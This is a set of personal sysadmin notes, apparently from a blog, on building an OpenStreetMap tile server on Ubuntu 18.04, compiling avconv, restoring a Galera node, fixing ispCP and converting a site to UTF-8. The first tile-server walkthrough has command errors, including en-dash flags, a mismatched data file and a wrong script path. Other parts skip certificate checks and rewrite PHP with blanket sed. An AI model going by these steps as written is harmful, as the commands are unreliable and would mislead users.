Manually building a tile server (18.04 LTS)

0

Software installation

sudo apt-get update
sudo apt install libboost-all-dev git-core tar unzip wget bzip2 build-essential autoconf libtool libxml2-dev libgeos-dev libgeos++-dev libpq-dev libbz2-dev libproj-dev munin-node munin libprotobuf-c0-dev protobuf-c-compiler libfreetype6-dev libtiff5-dev libicu-dev libgdal-dev libcairo-dev libcairomm-1.0-dev apache2 apache2-dev libagg-dev liblua5.2-dev ttf-unifont lua5.1 liblua5.1-dev libgeotiff-epsg

Installing postgresql / postgis

sudo apt-get install postgresql postgresql-contrib postgis postgresql-10-postgis-2.4

create unix gis user and choosing a password when prompted

sudo useradd -m gisuser
sudo passwd gisuser

then log in to postgres user and create gis user with the same name

sudo -u postgres -i
sudo useradd -m gisuser
sudo passwd gisuser

While still working as the “postgres” user, set up PostGIS on the PostgreSQL database

createdb -E UTF8 -O gisuser gis
psql

\c gis
create extension postgis;
create extension hstore;
alter table geometry_columns owner to gisuser;
alter table spatial_ref_sys owner to gisuser;
\q

exit

Installing osm2pgsql

We will need install various bits of software from source. The first of this is “osm2pgsql”. Various tools to import and manage OpenStreetMap data into a database exist. Here we’ll use “osm2pgsql”, which is probably the most popular.

mkdir ~/src
cd ~/src
git clone git://github.com/openstreetmap/osm2pgsql.git
cd osm2pgsql

The build mechanism used by osm2pgsql has changed since older versions, so we’ll need to install some more prerequisites for that:

sudo apt install make cmake g++ libboost-dev libboost-system-dev libboost-filesystem-dev libexpat1-dev zlib1g-dev libbz2-dev libpq-dev libgeos-dev libgeos++-dev libproj-dev lua5.2 liblua5.2-dev

Again, say yes to install.

mkdir build
cd build/
cmake ..

(the output from that should end with “build files have been written to…)

make -j8

(the output from that should finish with “[100%] Built target osm2pgsql”)

sudo make install

Mapnik

Next, we’ll install Mapnik. We’ll use the default version in Ubuntu 18.04:

sudo apt-get install autoconf apache2-dev libtool libxml2-dev libbz2-dev libgeos-dev libgeos++-dev libproj-dev gdal-bin libmapnik-dev mapnik-utils python-mapnik
python

We’ll check that Mapnik has been installed correctly:

python
>>> import mapnik
>>>

If python replies with the second chevron prompt >>> and without errors, then Mapnik library was found by Python. Congratulations! You can leave Python with this command:

>>> quit()

Install mod_tile and renderd

Next, we’ll install mod_tile and renderd. “mod_tile” is an Apache module that handles requests for tiles; “renderd” is a daemon that actually renders tiles when “mod_tile” requests them. We’ll use the “switch2osm” branch of mod_tile: https://github.com/SomeoneElseOSM/mod_tile, which is itself forked from https://github.com/openstreetmap/mod_tile, but modified so that it supports Ubuntu 16.04, and with a couple of other changes to work on a standard Ubuntu server rather than one of OSM’s rendering servers.

Compile the mod_tile source code:

cd ~/src
git clone -b switch2osm git://github.com/SomeoneElseOSM/mod_tile.git
cd mod_tile
./autogen.sh

(that should finish with “autoreconf: Leaving directory `.’”)

./configure

(that should finish with “config.status: executing libtool commands”)

make -j8

Note that some “worrying” messages will scroll up the screen here. However it should finish with “make[1]: Leaving directory ‘/home/renderaccount/src/mod_tile’”.

sudo make install

(that should finish with “make[1]: Leaving directory ‘/home/gisuser/src/mod_tile’”)

sudo make install-mod_tile

(that should finish with “chmod 644 /usr/lib/apache2/modules/mod_tile.so”)

sudo ldconfig

(that shouldn’t reply with anything)

Stylesheet configuration

Now that all of the necessary software is installed, you will need to download and configure a stylesheet.

The style we’ll use here is the one that use by the “standard” map on the openstreetmap.org website. It’s chosen because it’s well documented, and should work anywhere in the world (including in places with non-latin placenames). There are a couple of downsides though – it’s very much a compromise designed to work globally, and it’s quite complicated to understand and modify, should you need to do that.

The home of “OpenStreetMap Carto” on the web is https://github.com/gravitystorm/openstreetmap-carto/ and it has it’s own installation instructions at https://github.com/gravitystorm/openstreetmap-carto/blob/master/INSTALL.md although we’ll cover everything that needs to be done here.

Here we’re assuming that we’re storing the stylesheet details in a directory below “src” below the home directory of the “gisuser” user (or whichever other one you are using)

sudo -u gisuser
sudo -u gisuser -i

cd ~/src
git clone git://github.com/gravitystorm/openstreetmap-carto.git
cd openstreetmap-carto

Next, we’ll install a suitable version of the “carto” compiler. This is later than the version that ships with Ubuntu, so we need to do:

sudo apt install npm nodejs
sudo npm install -g carto
carto -v

That should respond with a number that is at least as high as:

carto 1.0.0

Then we convert the carto project into something that Mapnik can understand:

carto project.mml > mapnik.xml

You now have a Mapnik XML stylesheet at /home/gisuser/src/openstreetmap-carto/mapnik.xml .

Loading data

Initially, we’ll load only a small amount of test data. Other download locations are available, but “download.geofabrik.de” has a wide range of options. In this example we’ll download the data for Azerbaijan, which is about 17Mb.

Browse to http://download.geofabrik.de/asia/azerbaijan.html and note the “This file was last modified” date (e.g. “2017-02-26T21:43:02Z”). We’ll need that later if we want to update the database with people’s susbsequent changes to OpenStreetMap. Download it as follows:

mkdir ~/data
cd ~/data
wget http://download.geofabrik.de/asia/thailand-latest.osm.pbf

The following command will insert the OpenStreetMap data you downloaded earlier into the database. This step is very disk I/O intensive; importing the full planet might take many hours, days or weeks depending on the hardware. For smaller extracts the import time is much faster accordingly, and you may need to experiment with different -C values to fit within your machine’s available memory.

osm2pgsql -d gis –create –slim -G –hstore –tag-transform-script ~/src/openstreetmap-carto/openstreetmap-carto.lua -C 16000 –number-processes 8 -S ~/src/openstreetmap-carto/openstreetmap-carto.style ~/data/thailand-latest.osm.pbf

It’s worth explaining a little bit about what those options mean:

-d gis

The database to work with (“gis” used to be the default; now it must be specified).

–create

Load data into an empty database rather than trying to append to an existing one.

–slim

osm2pgsql can use different table layouts; “slim” tables works for rendering.

-G

Determines how multipolygons are processed.

–hstore

Allows tags for which there are no explicit database columns to be used for rendering.

–tag-transform-script

Defines the lua script used for tag processing. This an easy is a way to process OSM tags before the style itself processes them, making the style logic potentially much simpler.

-C 16000

Allocate 16 Gb of memory to osm2pgsql to the import process. If you have less memory you could try a smaller number, and if the import process is killed because it runs out of memory you’ll need to try a smaller number or a smaller OSM extract..

–number-processes 8

Use 8 CPU. If you have more cores available you can use more.

-S

Create the database columns in this file (actually these are unchanged from “openstreetmap-carto”)

The final argument is the data file to load.

That command will complete with something like “Osm2pgsql took 238s overall”.

Shapefile download

Although most of the data used to create the map is directly from the OpenStreetMap data file that you downloaded above, some shapefiles for things like low-zoom country bondaries are still needed. To download and index these:

cd ~/src/openstreetmap-carto
/scripts/get-shapefiles.py

This process involves a sizable download and may take some time. When complete it will display “…script completed.”.

exit

Fonts

The names used for places around the world aren’t always written with latin characters (the familar western alphabet a-z). To install the necessary fonts do the following:

sudo apt-get install fonts-noto-cjk fonts-noto-hinted fonts-noto-unhinted ttf-unifont

OpenSteetMap Carto’s own installation instructions also suggest installing “Noto Emoji Regular” from source. That is needed for the emojis in an American shop name, apparently. All the other international fonts that are likely to be needed (including ones often not supported) are including in the list just installed.

Setting up your webserver

Configure renderd

The config file for “renderd” is “/usr/local/etc/renderd.conf”. Edit that with a text editor such as nano:

sudo vi /usr/local/etc/renderd.conf

A couple of lines in here may need changing. In the “renderd” section:

num_threads=4

If you’ve only got 2Gb or so of memory you’ll want to reduce this to 2.

The “ajt” section corresponds to a “named map style” called “ajt”. You can have more than one of these sections if you want, provided that the URI is different for each. The “XML” line will need changing to something like:

XML=/home/gisuser/src/openstreetmap-carto/mapnik.xml

You’ll want to change “renderaccount” to whatever non-root username you used above.

URI=/hot/

That was chosen so that the tiles generated here can more easily be used in place of the HOT tile layer at OpenStreetMap.org. You can use something else here, but “/hot/” is as good as anything.

Configuring Apache

sudo mkdir /var/lib/mod_tile
sudo chown gisuser /var/lib/mod_tile
sudo mkdir /var/run/renderd
sudo chown gisuser /var/run/renderd

We now need to tell Apache about “mod_tile”, so with nano (or another editor):

sudo vi /etc/apache2/conf-available/mod_tile.conf

Add the following line to that file:

LoadModule tile_module /usr/lib/apache2/modules/mod_tile.so

and save it, and then run:

sudo a2enconf mod_tile

That will say that you need to run “service apache2 reload” to activate the new configuration; we’ll not do that just yet.

We now need to tell Apache about “renderd”. With nano (or another editor):

sudo vi /etc/apache2/sites-available/000-default.conf

And add the following between the “ServerAdmin” and “DocumentRoot” lines:

LoadTileConfigFile /usr/local/etc/renderd.conf
ModTileRenderdSocketName /var/run/renderd/renderd.sock
# Timeout before giving up for a tile to be rendered
ModTileRequestTimeout 0
# Timeout before giving up for a tile to be rendered that is otherwise missing
ModTileMissingRequestTimeout 30

And reload apache :

sudo /etc/init.d/apache2 restart

If you point a web browser at: http://yourserveripaddress/index.html you should get Ubuntu / apache’s “It works!” page.

(if you don’t know what IP address it will have been assigned you can likely use “ifconfig” to find out – if the network configuration is not too complicated it’ll probably be the “inet addr” that is not “127.0.0.1”). If you’re using a server at a hosting provider then it’s likely that your server’s internal address will be different to the external address that has been allocated to you, but that external IP address will have already been sent to you and it’ll probably be the one that you’re accessing the server on currently.

Note that this is just the “http” (port 80) site – you’ll need to do a little bit more Apache configuration if you want to enable https, but that’s out of the scope of these instructions. However, if you use “Let’s Encrypt” to issue certificates then the process of setting that up can also configure the Apache HTTPS site as well.

Running renderd for the first time

Next, we’ll run renderd to try and render some tiles. Initially we’ll run it in the foreground so that we can see any errors as they occur:

sudo -u gisuser renderd -f -c /usr/local/etc/renderd.conf

You may see some warnings here – don’t worry about those for now. You shouldn’t get any errors. If you do, save the full output in a pastebin and ask a question about the problem somewhere like help.openstreetmap.org (linking to the pastebin – don’t include all the text in the question).

Point a web browser at: http://yourserveripaddress/hot/0/0/0.png

You should see a map of the world in your browser and some more debug on the command line, including “DEBUG: START TILE” and “DEBUG: DONE TILE”. Ignore any “DEBUG: Failed to read cmd on fd” message – it is not an error. If you don’t get a tile and get other errors again save the full output in a pastebin and ask a question about the problem somewhere like help.openstreetmap.org.

If that all works, press control-c to stop the foreground rendering process.

Running renderd in the background

Next we’ll set up “renderd” to run in the background. First, edit the “~/src/mod_tile/debian/renderd.init” file so that “RUNASUSER” is set to the non-root account that you have used before, such as “renderaccount”,

su gisuser
vi ~/src/mod_tile/debian/renderd.init
exit

then copy it to the system directory:

sudo cp /home/gisuser/src/mod_tile/debian/renderd.init /etc/init.d/renderd
chmod u+x /etc/init.d/renderd
sudo chmod u+x /etc/init.d/renderd
sudo cp /home/gisuser/src/mod_tile/debian/renderd.service /lib/systemd/system/

The “renderd.service” file is a “systemd” service file. The version used here just calls old-style init commands. In order to test that the start command works:

sudo /etc/init.d/renderd start

(that should reply with “[ ok ] Starting renderd (via systemctl): renderd.service.”)

To make it start automatically every time:

sudo systemctl enable renderd

reference:
https://switch2osm.org/manually-building-a-tile-server-18-04-lts/

building a tile server (ubuntu 18.04 lts)

0

Modify from https://switch2osm.org/manually-building-a-tile-server-18-04-lts/
This page describes how to install, setup and configure all the necessary software to operate your own tile server. The step-by-step instructions are written for Ubuntu Linux 18.04 LTS (Bionic Beaver).

Software installation

The OSM tile server stack is a collection of programs and libraries that work together to create a tile server. As so often with OpenStreetMap, there are many ways to achieve this goal and nearly all of the components have alternatives that have various specific advantages and disadvantages. This tutorial describes the most standard version that is also likely to be used on the main OpenStreetMap.org tile server when 18.04.1 is released.

Note that these instructions are have been written and tested against a newly-installed Ubuntu 18.04 server. If you have got other versions of some software already installed (perhaps you upgraded from an earlier Ubuntu version, or you set up some PPAs to load from) then you may need to make some adjustments.

It consists of 5 main components: mod_tile, renderd, mapnik, osm2pgsql and a postgresql/postgis database. Mod_tile is an apache module that serves cached tiles and decides which tiles need re-rendering – either because they are not yet cached or because they are outdated. Renderd provides a priority queueing system for rendering requests to manage and smooth out the load from rendering requests. Mapnik is the software library that does the actual rendering and is used by renderd.

In order to build these components, a variety of dependencies need to be installed first:

sudo apt install libboost-all-dev git-core tar unzip wget bzip2 build-essential autoconf libtool libxml2-dev libgeos-dev libgeos++-dev libpq-dev libbz2-dev libproj-dev munin-node munin libprotobuf-c0-dev protobuf-c-compiler libfreetype6-dev libtiff5-dev libicu-dev libgdal-dev libcairo-dev libcairomm-1.0-dev apache2 apache2-dev libagg-dev liblua5.2-dev ttf-unifont lua5.1 liblua5.1-dev libgeotiff-epsg

Say yes to install. This will take a while, so go and have a cup of tea. This list includes various utilities and libraries, the Apache web server, and “carto” which is used to convert Carto-CSS stylesheets into something that “mapnik” the map renderer can understand. When that is complete, install the second set of prerequisites:

Installing postgresql / postgis

On Ubuntu there are pre-packaged versions of both postgis and postgresql, so these can simply be installed via the Ubuntu package manager.

sudo apt-get install postgresql postgresql-contrib postgis postgresql-10-postgis-2.4

Here “postgresql” is the database we’re going to store map data and “postgis” adds some extra graphical support to it. Again, say yes to install.

Now you need to create a postgis database. The defaults of various programs assume the database is called gis and we will use the same convention in this tutorial, although this is not necessary. Substitute your username for renderaccount where is is used below. This should be the username that will render maps with Mapnik.

sudo -u postgres -i
createuser renderaccount # answer yes for superuser (although this isn't strictly necessary)
createdb -E UTF8 -O renderaccount gis

While still working as the “postgres” user, set up PostGIS on the PostgreSQL database (again, substitute your username for renderaccount below):

psql

(that’ll put you at a “postgres=#” prompt)

\c gis

(it’ll answer ‘You are now connected to database “gis” as user “postgres”.’)

CREATE EXTENSION postgis;

(it’ll answer CREATE EXTENSION)

CREATE EXTENSION hstore;

(it’ll answer CREATE EXTENSION)

ALTER TABLE geometry_columns OWNER TO renderaccount;

(it’ll answer ALTER TABLE)

ALTER TABLE spatial_ref_sys OWNER TO renderaccount;

(it’ll answer ALTER TABLE)

\q

(it’ll exit psql and go back to a normal Linux prompt)

exit

(to exit back to be the user that we were before we did “sudo -u postgres -i” above)

If you haven’t already created one create a Unix user for this user, too, choosing a password when prompted:

sudo useradd -m renderaccount
sudo passwd renderaccount

Again, above replace “renderaccount” with the non-root username that you chose.

Installing osm2pgsql

We will need install various bits of software from source. The first of this is “osm2pgsql”. Various tools to import and manage OpenStreetMap data into a database exist. Here we’ll use “osm2pgsql”, which is probably the most popular.

mkdir ~/src
cd ~/src
git clone git://github.com/openstreetmap/osm2pgsql.git
cd osm2pgsql

The build mechanism used by osm2pgsql has changed since older versions, so we’ll need to install some more prerequisites for that:

sudo apt install make cmake g++ libboost-dev libboost-system-dev libboost-filesystem-dev libexpat1-dev zlib1g-dev libbz2-dev libpq-dev libgeos-dev libgeos++-dev libproj-dev lua5.2 liblua5.2-dev

Again, say yes to install.

mkdir build && cd build
cmake ..

(the output from that should end with “build files have been written to…)

make

(the output from that should finish with “[100%] Built target osm2pgsql”)

sudo make install

Mapnik

Next, we’ll install Mapnik. We’ll use the default version in Ubuntu 18.04:

sudo apt-get install autoconf apache2-dev libtool libxml2-dev libbz2-dev libgeos-dev libgeos++-dev libproj-dev gdal-bin libmapnik-dev mapnik-utils python-mapnik

We’ll check that Mapnik has been installed correctly:

python
>>> import mapnik
>>>

If python replies with the second chevron prompt >>> and without errors, then Mapnik library was found by Python. Congratulations! You can leave Python with this command:

>>> quit()

Install mod_tile and renderd

Next, we’ll install mod_tile and renderd. “mod_tile” is an Apache module that handles requests for tiles; “renderd” is a daemon that actually renders tiles when “mod_tile” requests them. We’ll use the “switch2osm” branch of https://github.com/SomeoneElseOSM/mod_tile, which is itself forked from https://github.com/openstreetmap/mod_tile, but modified so that it supports Ubuntu 16.04, and with a couple of other changes to work on a standard Ubuntu server rather than one of OSM’s rendering servers.

Compile the mod_tile source code:

cd ~/src
git clone -b switch2osm git://github.com/SomeoneElseOSM/mod_tile.git
cd mod_tile
./autogen.sh

(that should finish with “autoreconf: Leaving directory `.’”)

./configure

(that should finish with “config.status: executing libtool commands”)

make

Note that some “worrying” messages will scroll up the screen here. However it should finish with “make[1]: Leaving directory ‘/home/renderaccount/src/mod_tile’”.

sudo make install

(that should finish with “make[1]: Leaving directory ‘/home/renderaccount/src/mod_tile’”)

sudo make install-mod_tile

(that should finish with “chmod 644 /usr/lib/apache2/modules/mod_tile.so”)

sudo ldconfig

(that shouldn’t reply with anything)

Stylesheet configuration

Now that all of the necessary software is installed, you will need to download and configure a stylesheet.

The style we’ll use here is the one that use by the “standard” map on the openstreetmap.org website. It’s chosen because it’s well documented, and should work anywhere in the world (including in places with non-latin placenames). There are a couple of downsides though – it’s very much a compromise designed to work globally, and it’s quite complicated to understand and modify, should you need to do that.

The home of “OpenStreetMap Carto” on the web is https://github.com/gravitystorm/openstreetmap-carto/ and it has it’s own installation instructions at https://github.com/gravitystorm/openstreetmap-carto/blob/master/INSTALL.md although we’ll cover everything that needs to be done here.

Here we’re assuming that we’re storing the stylesheet details in a directory below “src” below the home directory of the “renderaccount” user (or whichever other one you are using)

cd ~/src
git clone git://github.com/gravitystorm/openstreetmap-carto.git
cd openstreetmap-carto

Next, we’ll install a suitable version of the “carto” compiler. This is later than the version that ships with Ubuntu, so we need to do:

sudo apt install npm nodejs
sudo npm install -g carto
carto -v

That should respond with a number that is at least as high as:

carto 1.0.0

Then we convert the carto project into something that Mapnik can understand:

carto project.mml > mapnik.xml

You now have a Mapnik XML stylesheet at /home/renderaccount/src/openstreetmap-carto/mapnik.xml .

Loading data

Initially, we’ll load only a small amount of test data. Other download locations are available, but “download.geofabrik.de” has a wide range of options. In this example we’ll download the data for Azerbaijan, which is about 17Mb.

Browse to http://download.geofabrik.de/asia/azerbaijan.html and note the “This file was last modified” date (e.g. “2017-02-26T21:43:02Z”). We’ll need that later if we want to update the database with people’s susbsequent changes to OpenStreetMap. Download it as follows:

mkdir ~/data
cd ~/data
wget http://download.geofabrik.de/asia/azerbaijan-latest.osm.pbf

The following command will insert the OpenStreetMap data you downloaded earlier into the database. This step is very disk I/O intensive; importing the full planet might take many hours, days or weeks depending on the hardware. For smaller extracts the import time is much faster accordingly, and you may need to experiment with different -C values to fit within your machine’s available memory.

su renderaccount
osm2pgsql -d gis --create --slim  -G --hstore --tag-transform-script ~/src/openstreetmap-carto/openstreetmap-carto.lua -C 32000 --number-processes 8 -S ~/src/openstreetmap-carto/openstreetmap-carto.style ~/data/azerbaijan-latest.osm.pbf

It’s worth explaining a little bit about what those options mean:

-d gis

The database to work with (“gis” used to be the default; now it must be specified).

--create

Load data into an empty database rather than trying to append to an existing one.

--slim

osm2pgsql can use different table layouts; “slim” tables works for rendering.

-G

Determines how multipolygons are processed.

--hstore

Allows tags for which there are no explicit database columns to be used for rendering.

--tag-transform-script

Defines the lua script used for tag processing. This an easy is a way to process OSM tags before the style itself processes them, making the style logic potentially much simpler.

-C 2500

Allocate 2.5 Gb of memory to osm2pgsql to the import process. If you have less memory you could try a smaller number, and if the import process is killed because it runs out of memory you’ll need to try a smaller number or a smaller OSM extract..

--number-processes 1

Use 1 CPU. If you have more cores available you can use more.

-S

Create the database columns in this file (actually these are unchanged from “openstreetmap-carto”)

The final argument is the data file to load.

That command will complete with something like “Osm2pgsql took 238s overall”.

Shapefile download

Although most of the data used to create the map is directly from the OpenStreetMap data file that you downloaded above, some shapefiles for things like low-zoom country bondaries are still needed. To download and index these:

su renderaccount
cd ~/src/openstreetmap-carto/
scripts/get-shapefiles.py

This process involves a sizable download and may take some time. When complete it will display “…script completed.”.

Fonts

The names used for places around the world aren’t always written with latin characters (the familar western alphabet a-z). To install the necessary fonts do the following:

sudo apt-get install fonts-noto-cjk fonts-noto-hinted fonts-noto-unhinted ttf-unifont

OpenSteetMap Carto’s own installation instructions also suggest installing “Noto Emoji Regular” from source. That is needed for the emojis in an American shop name, apparently. All the other international fonts that are likely to be needed (including ones often not supported) are including in the list just installed.

Setting up your webserver

Configure renderd

The config file for “renderd” is “/usr/local/etc/renderd.conf”. Edit that with a text editor such as nano:

sudo vi /usr/local/etc/renderd.conf

A couple of lines in here may need changing. In the “renderd” section:

num_threads=4

If you’ve only got 2Gb or so of memory you’ll want to reduce this to 2.
The “ajt” section corresponds to a “named map style” called “ajt”. You can have more than one of these sections if you want, provided that the URI is different for each. The “XML” line will need changing to something like:

XML=/home/renderaccount/src/openstreetmap-carto/mapnik.xml

You’ll want to change “renderaccount” to whatever non-root username you used above.

URI=/hot/

That was chosen so that the tiles generated here can more easily be used in place of the HOT tile layer at OpenStreetMap.org. You can use something else here, but “/hot/” is as good as anything.

Configuring Apache

sudo mkdir /var/lib/mod_tile
sudo chown renderaccount /var/lib/mod_tile

sudo mkdir /var/run/renderd
sudo chown renderaccount /var/run/renderd

We now need to tell Apache about “mod_tile”, so with nano (or another editor):

sudo nano /etc/apache2/conf-available/mod_tile.conf

Add the following line to that file:

LoadModule tile_module /usr/lib/apache2/modules/mod_tile.so

and save it, and then run:

sudo a2enconf mod_tile

That will say that you need to run “service apache2 reload” to activate the new configuration; we’ll not do that just yet.

We now need to tell Apache about “renderd”. With nano (or another editor):

sudo nano /etc/apache2/sites-available/000-default.conf
And add the following between the "ServerAdmin" and "DocumentRoot" lines:
LoadTileConfigFile /usr/local/etc/renderd.conf
ModTileRenderdSocketName /var/run/renderd/renderd.sock
# Timeout before giving up for a tile to be rendered
ModTileRequestTimeout 0
# Timeout before giving up for a tile to be rendered that is otherwise missing
ModTileMissingRequestTimeout 30

And reload apache twice:

sudo service apache2 reload
sudo service apache2 reload

(I suspect that it needs doing twice because Apache gets “confused” when reconfigured when running)

If you point a web browser at: http://yourserveripaddress/index.html you should get Ubuntu / apache’s “It works!” page.

(if you don’t know what IP address it will have been assigned you can likely use “ifconfig” to find out – if the network configuration is not too complicated it’ll probably be the “inet addr” that is not “127.0.0.1”). If you’re using a server at a hosting provider then it’s likely that your server’s internal address will be different to the external address that has been allocated to you, but that external IP address will have already been sent to you and it’ll probably be the one that you’re accessing the server on currently.

Note that this is just the “http” (port 80) site – you’ll need to do a little bit more Apache configuration if you want to enable https, but that’s out of the scope of these instructions. However, if you use “Let’s Encrypt” to issue certificates then the process of setting that up can also configure the Apache HTTPS site as well.

Running renderd for the first time

Next, we’ll run renderd to try and render some tiles. Initially we’ll run it in the foreground so that we can see any errors as they occur:

sudo -u renderaccount renderd -f -c /usr/local/etc/renderd.conf

You may see some warnings here – don’t worry about those for now. You shouldn’t get any errors. If you do, save the full output in a pastebin and ask a question about the problem somewhere like help.openstreetmap.org (linking to the pastebin – don’t include all the text in the question).

Point a web browser at: http://yourserveripaddress/hot/0/0/0.png

You should see a map of the world in your browser and some more debug on the command line, including “DEBUG: START TILE” and “DEBUG: DONE TILE”. Ignore any “DEBUG: Failed to read cmd on fd” message – it is not an error. If you don’t get a tile and get other errors again save the full output in a pastebin and ask a question about the problem somewhere like help.openstreetmap.org.

If that all works, press control-c to stop the foreground rendering process.

Running renderd in the background

Next we’ll set up “renderd” to run in the background. First, edit the “~/src/mod_tile/debian/renderd.init” file so that “RUNASUSER” is set to the non-root account that you have used before, such as “renderaccount”, then copy it to the system directory:

nano ~/src/mod_tile/debian/renderd.init
sudo cp ~/src/mod_tile/debian/renderd.init /etc/init.d/renderd
sudo chmod u+x /etc/init.d/renderd
sudo cp ~/src/mod_tile/debian/renderd.service /lib/systemd/system/

The “renderd.service” file is a “systemd” service file. The version used here just calls old-style init commands. In order to test that the start command works:

sudo /etc/init.d/renderd start

(that should reply with “[ ok ] Starting renderd (via systemctl): renderd.service.”)

To make it start automatically every time:

sudo systemctl enable renderd

Viewing tiles

In order to see tiles, we’ll cheat and add the “Switcheroo Redirector” extension to the Chrome (or Chromium) browser:

https://chrome.google.com/webstore/detail/switcheroo-redirector/cnmciclhnghalnpfhhleggldniplelbg?hl=en

We’ll add “https://tile-a.openstreetmap.fr/hot/” as “From” and “http://yourserveripaddress/hot/” as “To”, and do the same also for “tile-b” and “tile-c”.

From an ssh connection do:

tail -f /var/log/syslog | grep " TILE "

(note the spaces around “TILE” there)

That will show a line every time a tile is requested, and one every time rendering of one is completed.

In your switcheroo-configured Chrome / Chromium browser go to: https://www.openstreetmap.org/#map=13/40.3743/49.7134

and switch to the “Humanitarian” layer in OSM. You should see some tile requests. Zoom out gradually. You’ll see requests for new tiles show up in the ssh connection. Some low-zoom tiles may take a long time (several minutes) to render for the first time, but once done they’ll be ready for the next time that they are needed.

Congratulations. Head over to the using tiles section to create a map that uses your new tile server.

Acknowledgements

Originally based on material by Ian Dees and Richard Weait. Edited and updated by Richard Fairhurst with additional material by Andy Townsend and Paul Norman.

install avconv 11.11 from source in Ubuntu 14.04

0

You can Install from PPA
but this not updated since version 11.3 (2015-04-13)

You can update your system with unsupported packages from this untrusted PPA by adding ppa:heyarje/libav-11 to your system’s Software Sources. (Read about installing)

add-apt-repository ppa:heyarje/libav-11
apt-get update
apt-get install libav-tools

So, You may need to Compile it yourself.

First, Installing prerequisite files

apt-get install build-essential frei0r-plugins-dev libasound2-dev libbz2-dev libcdio-cdda-dev libcdio-dev libcdio-paranoia-dev libdc1394-22-dev libfreetype6-dev libgnutls28-dev libgsm1-dev libjack-dev libmp3lame-dev libopencore-amrnb-dev libopencore-amrwb-dev libopencv-dev libopenjpeg-dev libopus-dev libpulse-dev libraw1394-dev librtmp-dev libschroedinger-dev libsdl1.2-dev libspeex-dev libtheora-dev libtiff-dev libva-dev libvdpau-dev libvo-aacenc-dev libvo-amrwbenc-dev libvorbis-dev libvpx-dev libx11-dev libx264-dev libxext-dev libxfixes-dev libxvidcore-dev libxvmc-dev texi2html yasm zlib1g-dev libfdk-aac-dev

Installing avconv from source

wget https://libav.org/releases/libav-11.11.tar.gz –no-check-certificate

tar zxvf libav-11.11.tar.gz

cd libav-11.11/

./configure –arch=’amd64′ –enable-pthreads –enable-runtime-cpudetect –extra-version=’1:11.11-1′ –libdir=/usr/lib/x86_64-linux-gnu –prefix=/usr –disable-avserver –enable-bzlib –enable-libdc1394 –enable-libfreetype –enable-frei0r –enable-gnutls –enable-libgsm –enable-libmp3lame –enable-librtmp –enable-libopencv –enable-libopenjpeg –enable-libopus –enable-libpulse –enable-libschroedinger –enable-libspeex –enable-libtheora –enable-vaapi –enable-vdpau –enable-libvorbis –enable-libvpx –enable-zlib –enable-gpl –enable-swscale –enable-libcdio –enable-x11grab –enable-libx264 –enable-libxvid –enable-libopencore-amrnb –enable-version3 –enable-libopencore-amrwb –enable-version3 –enable-libvo-amrwbenc –enable-version3 –enable-libfdk-aac –enable-nonfree

make -j4 (4 cpu cores)

make install

Ref:
https://hungred.com/how-to/installing-avconv-source-ubuntu/
https://launchpadlibrarian.net/203154202/buildlog_ubuntu-trusty-amd64.libav_6%3A11.3-1~trusty_BUILDING.txt.gz

Galera SST Manually

0

State Snapshot Transfer

Copying data files directly Concept.
This requires that the receiving server is initialized after the transfer. xtrabackup, and other methods fall into this category. These methods are much faster than mysqldump, but they have certain limitations. For example, they can be used only on server startup and the receiving server must be configured very similarly to the donor (e.g. innodb_file_per_table should be the same and so on). Some of these methods (e.g. xtrabackup) can be potentially made non-blocking on the donor. Such methods are supported via a scriptable interface.

How to copying data files directly.

on donor server
1. create backup

innobackupex –user=user –password=password –no-timestamp /data/backups/new_backup
innobackupex –apply-log /data/backups/new_backup

2. transfer backup to crashed server

on crashed server

1. untar backup file

tar xvfz /download/backup.tar.gz

2. back up /var/lib/mysql on crash server

mkdir -p /home/crashed
mv /var/lib/mysql/* /home/crashed

3. restore backup

innobackupex –copy-back /data/backups/new_backup/

4. finally, copy grastate.dat to /var/lib/mysql and edit state to 0

mv /data/backups/new_backup/grastate.dat /var/lib/mysql
vi  grastate.dat
……
……
safe_to_bootstrap: 0

6. Start server

/etc/init.d/mysql start

[Solved] ispCP : An error occurred. Please contact your administrator

0

i have upgraded my server and can’t log in to ispCp. it show error massage

An error occurred. Please contact your administrator

Solution:

  1. set DEBUG mode

    vi /etc/ispcp/ispcp.conf
    DEBUG=1

  2. enter control panel to see what error.

    http://www.yoursite.com/ispcp/

    it’s show

    can’t load php5-mcrypt

  3. try this

    updatedb
    locate mcrypt.ini

    Should show it located at /etc/php5/mods-available

    locate mcrypt.so

    Edit mcrypt.ini and change extension to match the path to mcrypt.so, example:

    extension=/usr/lib/php5/20121212/mcrypt.so

  4. Now this

    php5enmod mcrypt

  5. Restart Apache

    service apache2 restart

  6. Restart php5 or php5-fpm

    service php5 restart

Ref: http://askubuntu.com/questions/460837/mcrypt-extension-is-missing-in-14-04-server-for-mysql

Translate website from TIS-620 to UTF-8

0

Translate database

ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;
SHOW TABLES;
ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;

Translate php file by shell script

#!/bin/bash
FROM=TIS-620
TO=UTF-8
ICONV="iconv -f $FROM -t $TO//IGNORE"

find /var/www/website -type f -name "*.php" | while read fn; do
 cp ${fn} ${fn}.bak
 $ICONV < ${fn}.bak > ${fn}
 rm ${fn}.bak
done

find and replace in Terminal

find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS-620/UTF-8/g' {} \; 
find /var/www/website -type f -name "*.php" -exec sed -i 's/TIS620/UTF8/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/windows-874/UTF-8/g' {} \;

use mb_ in php string function

first setup default in php.ini

mb_internal_encoding = "UTF-8"
find /var/www/website -type f -name "*.php" -exec sed -i 's/strlen/mb_strlen/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strpos/mb_strpos/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/substr/mb_substr/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/strtolower/mb_strtolower/g' {} \;
find /var/www/website -type f -name "*.php" -exec sed -i 's/ereg/mb_ereg/g' {} \;

Reference:

http://stackoverflow.com/questions/6115612/how-to-convert-an-entire-mysql-database-characterset-and-collation-to-utf-8
https://github.com/EllisLab/CodeIgniter/issues/261
http://www.thaiseoboard.com/index.php/topic,315829.0.html

Compile nginx with upload-module

0

